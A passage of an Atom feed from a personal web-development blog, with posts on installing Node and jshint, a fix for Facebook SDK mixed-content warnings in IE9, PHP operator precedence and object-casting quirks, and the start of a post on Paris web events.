&lt;p&gt;I used a close combination for opening directories: &lt;code&gt;Ctrl+Win+Alt+{Letter}&lt;/code&gt;.
Those three keys are side by side on most keyboards so pressing them is easy.&lt;/p&gt;
&lt;p&gt;This time I used the letter &lt;code&gt;H&lt;/code&gt; for my home folder, &lt;code&gt;D&lt;/code&gt; for the Dropbox folder,
&lt;code&gt;W&lt;/code&gt; for &lt;code&gt;/var/www&lt;/code&gt;, etc, etc.&lt;/p&gt;
&lt;p&gt;I&#39;ve tweaked my keyboard in a few other ways, but this will be the subject of
another post. Hope this one gave you some ideas.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Installing jshint with node v0.6.6</title>
    <link href="https://blog.pixelastic.com/2012/01/04/installing-jshint-node-v0-6/"/>
    <updated>2012-01-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2012/01/04/installing-jshint-node-v0-6</id>
    <content type="html">&lt;p&gt;Yesterday, I&#39;ve tried to install nodejs and the jshint package to add automatic
jshint parsing to my vim.&lt;/p&gt;
&lt;p&gt;Well, it wasn&#39;t so simple due to a bug in the npm version shipped with node.&lt;/p&gt;
&lt;p&gt;Here are the complete commands to run to make it work, in case I had to do it
again:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Download and extract node&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ~/local/src&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;wget&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; http://nodejs.org/dist/v0.6.6/node-v0.6.6.tar.gz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;tar&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; xvzf&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; node-v0.6.6.tar.gz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;rm&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; node-v0.6.6.tar.gz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Compile and install&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; node-v0.6.6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;./configure&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;make&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; make&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; install&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Update npm&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; npm&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; npm@alpha&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -g&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# (Optional) Clear npm cache&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;npm&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; cache&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; clean&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; jshint&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Install jshint&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; npm&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; jshint&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -g&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Source: [https://github.com/isaacs/npm/issues/1888](https://github.com/isaac
s/npm/issues/1888)&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Facebook https mixed content warning on IE9</title>
    <link href="https://blog.pixelastic.com/2012/01/04/facebook-https-mixed-content-warning-ie9/"/>
    <updated>2012-01-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2012/01/04/facebook-https-mixed-content-warning-ie9</id>
    <content type="html">&lt;p&gt;When browsing the web, you might have seen a &amp;quot;mixed content warning&amp;quot; popup show
in your browser. They are most of the time poorly worded and their meaning is
quite obscure.&lt;/p&gt;
&lt;p&gt;What it means is that your are currently browsing a page with both &lt;code&gt;http&lt;/code&gt; and
&lt;code&gt;https&lt;/code&gt; content. Typically, if your page is &lt;code&gt;https&lt;/code&gt; but one of the css, js or
image file it contains is requested through &lt;code&gt;http&lt;/code&gt;, the warning will pop.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(It&#39;s interesting to note here that not all assets are treated equal. Loading a
flash movie through &lt;code&gt;http&lt;/code&gt; does not trigger the warning).&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;The IE special case&lt;/h2&gt;
&lt;p&gt;Now, what&#39;s special about IE is that it also trigger the mixed content warning
when content is the other way around. If you&#39;re serving a page through &lt;code&gt;http&lt;/code&gt;
and load assets through &lt;code&gt;https&lt;/code&gt;, it will consider it a mixed content too.&lt;/p&gt;
&lt;p&gt;In a sense, that&#39;s logical, but it needlessly prompt the user with a dialog that
block downloading of all &lt;code&gt;https&lt;/code&gt; assets until confirmed.&lt;/p&gt;
&lt;p&gt;The solution is to make sure that all your assets are loaded with the same
protocol as the host page. An easy way to do so is to use the &lt;code&gt;//&lt;/code&gt; relative
protocol url. This will use &lt;code&gt;http&lt;/code&gt; or &lt;code&gt;https&lt;/code&gt; automatically based on the page
protocol.&lt;/p&gt;
&lt;h2&gt;And adding Facebook to the mix&lt;/h2&gt;
&lt;p&gt;A few months ago, Facebook forced all apps to serve content through &lt;code&gt;https&lt;/code&gt;. In
the meantime, they suggested that all their users browse their website using
&lt;code&gt;https&lt;/code&gt; too.&lt;/p&gt;
&lt;p&gt;Unfortunatly for us, some of our own users had bookmarks in their browsers and
Facebook pages referencing our old
&lt;a href=&quot;http://apps.facebook.com/appname/&quot;&gt;http://apps.facebook.com/appname/&lt;/a&gt; url. And
following that link triggered the dreaded mixed content warning in IE.&lt;/p&gt;
&lt;p&gt;When accessing this page, Facebook was loaded in classic &lt;code&gt;http&lt;/code&gt; but our inner
iframe was loaded through &lt;code&gt;https&lt;/code&gt;. So far, so good.&lt;/p&gt;
&lt;p&gt;The problem came from one of Facebook own javascript SDK included in our app.
This script loaded other scripts based on what it needed.&lt;/p&gt;
&lt;p&gt;Unfortunatly, it loaded the other scripts from an &lt;code&gt;http&lt;/code&gt;(not &lt;code&gt;https&lt;/code&gt;) server.
The SDK has two distinct sets of urls, based on the current page protocol.&lt;/p&gt;
&lt;p&gt;It was wrongly considering being in an &lt;code&gt;http&lt;/code&gt; page, not an &lt;code&gt;https&lt;/code&gt; one, and thus
used the wrong set of urls. This confusing comes from the fact that it checks
the top page protocol instead of checking the current page protocol.&lt;/p&gt;
&lt;p&gt;After some googling, I found a solution that consisted in forcing the SDK to
consider that we are in &lt;code&gt;https&lt;/code&gt; mode by calling: &lt;code&gt;FB._https = true&lt;/code&gt; before the
call to &lt;code&gt;FB.init()&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Almost there&lt;/h2&gt;
&lt;p&gt;If correctly forced FB to use the correct set of urls, thus removing the mixed
content warning. And I almost thought it would be that easy.&lt;/p&gt;
&lt;p&gt;It was not.&lt;/p&gt;
&lt;p&gt;This did not fixed the payment popup. All Facebook UI element loaded correctly
(feeds, permissions, requests), but the payment popup.&lt;/p&gt;
&lt;p&gt;I couldn&#39;t find a way to fix that, so I reverted to a more brutal approach.&lt;/p&gt;
&lt;h2&gt;Final and brutal solution&lt;/h2&gt;
&lt;p&gt;All my problems came from the fact that FB thought we were serving &lt;code&gt;http&lt;/code&gt; while
in fact we were serving &lt;code&gt;https&lt;/code&gt;. So the solution, might be to force FB to serve
&lt;code&gt;https&lt;/code&gt; from start to end.&lt;/p&gt;
&lt;p&gt;I wanted to detect if the page was loaded through
&lt;a href=&quot;http://apps.facebook.com/appname/&quot;&gt;http://apps.facebook.com/appname/&lt;/a&gt; or
&lt;a href=&quot;https://apps.facebook.com/appname/&quot;&gt;https://apps.facebook.com/appname/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Unfortunatly, due to cross domain restrictions in Javascript, we are not able to
read, from inside and iframe, the parent frame properties. So I couldn&#39;t read
&lt;code&gt;top.location.protocol&lt;/code&gt; to easily check if I needed to redirect.&lt;/p&gt;
&lt;p&gt;But, as I mentionned earlier, &lt;code&gt;FB._https&lt;/code&gt; incorrectly report that we are not in
&lt;code&gt;https&lt;/code&gt; because it checks the top protocol. So I used this var, to know if the
parent frame was in the correct protocol or not. Using this own FB bug to fix
itself.&lt;/p&gt;
&lt;p&gt;Now, for the redirect: even if I couldn&#39;t read the &lt;code&gt;top.location&lt;/code&gt;, I could
modify it. I just had to call
&lt;code&gt;top.location.url = &#39;https://apps.facebook.com/appname/&#39;&lt;/code&gt; to redirect the whole
page.&lt;/p&gt;
&lt;p&gt;I hardcoded the app url because there was no way to get it from js, and I took
care of keeping any GET parameter passed before the redirect, and I ended up
with this:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;FB&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;_https&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; appUrl&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;https://apps.facebook.com/appname/&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; iframeUrl&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; location&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;protocol&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;//&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;location&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;host&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;location&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;pathname&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; redirectUrl&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; location&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;href&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;iframeUrl&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;appUrl&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  top&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;location&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;href&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; redirectUrl&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;FB&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;options&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I&#39;m not really proud of this solution, as it is mostly a hack and will force a
useless loading of the http version before loading the https one, but that&#39;s the
best I&#39;ve found. If any of you have a better solution, feel free to comment.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>PHP AND / OR differences with &amp;&amp; / ||</title>
    <link href="https://blog.pixelastic.com/2011/12/02/php-differences/"/>
    <updated>2011-12-02T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/12/02/php-differences</id>
    <content type="html">&lt;p&gt;Just found this weird little behavior of PHP today:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;php&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$b&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$c&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $a&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; OR&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $b&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$d&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$a&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; OR&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $b&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;var_dump&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;compact&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;a&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;b&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;c&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;d&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    bool&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    bool&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    bool&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;d&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    bool&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;$a OR $b&lt;/code&gt; in fact returns &lt;code&gt;$a&lt;/code&gt;, while &lt;code&gt;($a OR $b)&lt;/code&gt; returns the result of the
parenthesis. On the other hand, &lt;code&gt;$a || $b&lt;/code&gt; correctly returns the result of the
expression.&lt;/p&gt;
&lt;p&gt;It seems that &lt;code&gt;AND&lt;/code&gt; and &lt;code&gt;OR&lt;/code&gt; are weak compared to &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; and &lt;code&gt;||&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Be aware of that, or it might backfire on you. Or just discard all &lt;code&gt;AND&lt;/code&gt; / &lt;code&gt;OR&lt;/code&gt;
in favor of &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; / &lt;code&gt;||&lt;/code&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Weird PHP behavior when casting as an object</title>
    <link href="https://blog.pixelastic.com/2011/11/28/weird-php-behavior-casting-object/"/>
    <updated>2011-11-28T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/11/28/weird-php-behavior-casting-object</id>
    <content type="html">&lt;p&gt;I&#39;ve just stumbled upon that weird behavior when force casting the return of a
function to an object. The PHP result was not what I expected.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; null&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; empty&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$a&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;Yes, I&#39;m empty&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;You should not see this&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is pretty straighforward code. Now, we test it with an object.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;object&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; empty&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$a&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;Yes, I&#39;m empty&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;You should not see this but, actually, you do.&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that it even gets weirder when &lt;code&gt;(object) false&lt;/code&gt; and &lt;code&gt;(object) true&lt;/code&gt; become
objects with a key &lt;code&gt;scalar&lt;/code&gt;, set to &lt;code&gt;false&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This is one of the little things that make me want to ditch PHP for a better
language.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Web and dev events in Paris</title>
    <link href="https://blog.pixelastic.com/2011/11/24/web-dev-events-paris/"/>
    <updated>2011-11-24T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/11/24/web-dev-events-paris</id>
    <content type="html">&lt;p&gt;For the past month or so, I&#39;ve attended quite a bunch of dev and web events,
here in Paris.&lt;/p&gt;
&lt;p&gt;Every time I get back from one, I wanted to post something about it. But I never
did, as I always seems to have something more important to do. That&#39;s quite a
shame, because those events were (for the most part) really interesting, some
were even really motivating.&lt;/p&gt;
&lt;p&gt;So, expect a full blog post on each of them in the coming days. For the time
being, here is just an overview.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.paris-web.fr/&quot;&gt;Paris Web&lt;/a&gt; is THE french web event. Two days of
conferences about the web, not too technical, but very practical. Here we speak
equally about the &amp;quot;why&amp;quot; than about the &amp;quot;how&amp;quot;. Very great speakers, team and
place. The third day is for workshops, in smaller groups.&lt;/p&gt;
&lt;p&gt;Then comes &lt;a href=&quot;http://parisjs.org/&quot;&gt;Paris JS&lt;/a&gt;, held each month. It&#39;s an evening of
